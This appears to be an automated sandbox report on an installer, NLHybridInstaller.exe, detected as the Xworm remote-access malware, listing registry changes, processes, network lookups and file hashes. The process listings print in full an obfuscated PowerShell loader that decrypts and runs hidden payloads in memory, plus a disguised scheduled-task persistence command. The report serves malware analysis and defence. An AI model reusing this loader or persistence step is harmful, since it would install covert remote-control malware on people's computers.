Analysis Overview
SHA256
c5fc6ccc1b183c14888a0a832a52ea7ee37efa0e84f6712aae56101c48da983e
Threat Level: Known bad
The file NLHybridInstaller.exe was found to be: Known bad.
Malicious Activity Summary
Xworm family
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Loads dropped DLL
Executes dropped EXE
Checks computer location settings
Looks up external IP address via web service
Checks installed software on the system
Unsigned PE
Program crash
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious use of FindShellTrayWindow
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 05:44
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 05:44
Reported
2024-11-13 05:46
Platform
win7-20240903-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe | N/A |
Checks installed software on the system
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.myp\OpenWithProgids\NLHybridFixerFile.myp | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\NLHybrid Fixer\\NLHybrid Fixer.bat,0" | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell\open\command | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.myp\OpenWithProgids | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\ = "NLHybrid Fixer File" | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell\open | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications\NLHybrid Fixer.bat\SupportedTypes\.myp | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications\NLHybrid Fixer.bat\SupportedTypes | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications\NLHybrid Fixer.bat | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.myp | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\NLHybrid Fixer\\NLHybrid Fixer.bat\" \"%1\"" | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp
"C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp" /SL5="$4010A,1111535,845824,C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/1916-0-0x0000000001120000-0x00000000011FC000-memory.dmp
memory/1916-2-0x0000000001121000-0x00000000011C9000-memory.dmp
\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp
| MD5 | c31db43de7031d003d528c81517a3958 |
| SHA1 | 05d86b48e6873d561e484c134c2e99d6df7215ed |
| SHA256 | 0d4ee23a50876177908a4f2cd1a4aa4e68e700b059be3c535cd22ca6c5132f82 |
| SHA512 | dab6939cd0437ded9609d031a618dcb9c92a46b21ac2f97d1c196c852d983f4f1ea54caebb0ca8f09813f7ef9da03d25b502a2429f20300932f57a2923c3135a |
memory/1992-8-0x0000000000100000-0x0000000000101000-memory.dmp
memory/1916-10-0x0000000001120000-0x00000000011FC000-memory.dmp
memory/1992-12-0x0000000000100000-0x0000000000101000-memory.dmp
memory/1992-11-0x0000000000220000-0x0000000000563000-memory.dmp
memory/1992-14-0x0000000000220000-0x0000000000563000-memory.dmp
memory/1992-24-0x0000000000220000-0x0000000000563000-memory.dmp
C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat
| MD5 | 05752d236dc924a1e10ba6e6081b5302 |
| SHA1 | 8a85b3864b64ff001b10ab957ddef96caa05fbc7 |
| SHA256 | f280c213d2bb0de32863411882ef3ebde4db0905850e09ad921563369d9e1d66 |
| SHA512 | 81991e5aa0ebd2a54f33622f1be283b96e0343c78cb15f1595db1418dd28d2a3435120ee268b8bb7bca26592a9bfaa3bd514c8dd3d6a793eaf6979b86ac631f0 |
memory/1916-35-0x0000000001120000-0x00000000011FC000-memory.dmp
memory/1992-33-0x0000000000220000-0x0000000000563000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 05:44
Reported
2024-11-13 05:46
Platform
win10v2004-20241007-en
Max time kernel
96s
Max time network
136s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Xworm family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\WScript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe | N/A |
Checks installed software on the system
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WScript.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Applications\NLHybrid Fixer.bat\SupportedTypes\.myp | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\shell | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\NLHybrid Fixer\\NLHybrid Fixer.bat\" \"%1\"" | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\.myp | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\NLHybrid Fixer\\NLHybrid Fixer.bat,0" | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\shell\open\command | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\shell\open | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Applications\NLHybrid Fixer.bat\SupportedTypes | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\.myp\OpenWithProgids\NLHybridFixerFile.myp | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp\ = "NLHybrid Fixer File" | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Applications | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Applications\NLHybrid Fixer.bat | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\.myp\OpenWithProgids | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\NLHybridFixerFile.myp | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp
"C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp" /SL5="$6019A,1111535,845824,C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_162_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_162.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_162.vbs"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_162.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_162.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_162.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe
"C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1316 -ip 1316
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 3176
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/4960-1-0x0000000000260000-0x000000000033C000-memory.dmp
memory/4960-2-0x0000000000261000-0x0000000000309000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp
| MD5 | c31db43de7031d003d528c81517a3958 |
| SHA1 | 05d86b48e6873d561e484c134c2e99d6df7215ed |
| SHA256 | 0d4ee23a50876177908a4f2cd1a4aa4e68e700b059be3c535cd22ca6c5132f82 |
| SHA512 | dab6939cd0437ded9609d031a618dcb9c92a46b21ac2f97d1c196c852d983f4f1ea54caebb0ca8f09813f7ef9da03d25b502a2429f20300932f57a2923c3135a |
memory/3288-6-0x0000000001130000-0x0000000001131000-memory.dmp
memory/4960-8-0x0000000000260000-0x000000000033C000-memory.dmp
memory/3288-10-0x0000000001130000-0x0000000001131000-memory.dmp
memory/3288-9-0x0000000000410000-0x0000000000753000-memory.dmp
memory/3288-12-0x0000000000410000-0x0000000000753000-memory.dmp
memory/3288-22-0x0000000000410000-0x0000000000753000-memory.dmp
C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat
| MD5 | 05752d236dc924a1e10ba6e6081b5302 |
| SHA1 | 8a85b3864b64ff001b10ab957ddef96caa05fbc7 |
| SHA256 | f280c213d2bb0de32863411882ef3ebde4db0905850e09ad921563369d9e1d66 |
| SHA512 | 81991e5aa0ebd2a54f33622f1be283b96e0343c78cb15f1595db1418dd28d2a3435120ee268b8bb7bca26592a9bfaa3bd514c8dd3d6a793eaf6979b86ac631f0 |
memory/3288-26-0x0000000000410000-0x0000000000753000-memory.dmp
memory/4960-27-0x0000000000260000-0x000000000033C000-memory.dmp
memory/5112-29-0x0000000074A6E000-0x0000000074A6F000-memory.dmp
memory/5112-30-0x0000000003100000-0x0000000003136000-memory.dmp
memory/5112-32-0x00000000057D0000-0x0000000005DF8000-memory.dmp
memory/5112-31-0x0000000074A60000-0x0000000075210000-memory.dmp
memory/5112-33-0x0000000074A60000-0x0000000075210000-memory.dmp
memory/5112-34-0x0000000005E50000-0x0000000005E72000-memory.dmp
memory/5112-35-0x0000000005FF0000-0x0000000006056000-memory.dmp
memory/5112-36-0x0000000006060000-0x00000000060C6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gttkval1.q41.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5112-46-0x00000000060D0000-0x0000000006424000-memory.dmp
memory/5112-47-0x00000000065D0000-0x00000000065EE000-memory.dmp
